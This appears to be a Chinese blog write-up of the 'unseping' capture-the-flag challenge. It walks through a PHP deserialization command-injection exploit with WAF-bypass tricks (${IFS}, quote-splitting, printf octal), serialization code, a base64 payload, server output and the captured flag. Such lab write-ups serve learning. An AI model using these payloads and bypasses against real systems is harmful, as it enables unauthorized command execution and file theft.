攻防世界_unseping

Rxw

攻防世界unseping

打开靶机对应的url:

<?php
highlight_file(__FILE__);

class ease{
    

    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
     
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
     
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }
    
    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
     
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   

}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

序列化绕过

php 一个对象在释放时,会先调用__wakeup() 之后调用__destruct()

这里wakeup()里访问了waf(),那么只要反序列化绕过套路绕过,然后在**_destruct只要method值为ping**。通过代码审计可以看出,在检查这些东西 **/(||&|;| |/|cat|flag|tac|php|ls)/**,也就是不能出现 | & / cat flag tac php ls 空格, 从这里也可以看出,很可能存在一个叫flag.php 的文件。

执行类似ls -l命令,ls被过滤,空格被过滤,那么得找替代命令

1. 空格:
   linux 上当shell是 bash的话 空格可以用 ${IFS}或者$IFS$9 代替
   PS: $()` `(反引号):都是用来作命令替换的,执行括号或者反引号中的命令

其他空格绕过例子:
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

2. 命令拆分:
   在linux下 ls 等价于 l''s  等价于 l""s,都可以执行,其他命令也是一样的,这是一个特性

那么把命令换成l””s${IFS}-l,然后进行序列化, 以下是序列化代码,后面用php解释器执行:

<?php
highlight_file(__FILE__);

class ease{
    

    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

}
$t_ease = new ease('ping', array('l""s${IFS}-l'));
$t_serialize = serialize($t_ease);
echo $t_serialize;
echo base64_encode($t_serialize);
?>

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxMjoibCIicyR7SUZTfS1sIjt9fQ==

array(3) { [0]=> string(7) "total 8" [1]=> string(53) "drwxr-xr-x 1 root root 4096 Oct 28 05:06 flag_1s_here" [2]=> string(50) "-rwxr-xr-x 1 root root 863 Aug 18 2022 index.php" } 

再造请求命令l””s${IFS}f””lag_1s_here

array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" } 

构造命令c””at${IFS}f””lag_1s_here$(printf${IFS}”\57”)f””lag_831b69012c67b35f.p””hp

printf绕过
printf 同时可以识别八进制表示或十六进制表示的字符串
printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出

\NNN 八进制数 NNN 所代表的 ASCII 码字符。

\xHH 十六进制 HH 对应的8位字符。HH 可以是一到两位。

\uHHHH 十六进制 HHHH 对应的 Unicode 字符。HHHH 一到四位。

\UHHHHHHHH十六进制 HHHHHHHH 对应的 Unicode 字符。HHHHHHHH 一到八位


那么 printf${IFS}"\57" 表示把 / 给输出出来 绕过waf检查

得到结果:

array(2) { [0]=> string(5) " string(47) "//$cyberpeace{e1a952f3286cbb89ec590d3b9246701a}" } 
  • Title: 攻防世界_unseping
  • Author: Rxw
  • Created at : 2024-10-28 13:39:08
  • Updated at : 2024-11-22 00:47:33
  • Link: https://rxw2023-github-io.pages.dev/2024/10/28/攻防世界-unseping/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
攻防世界_unseping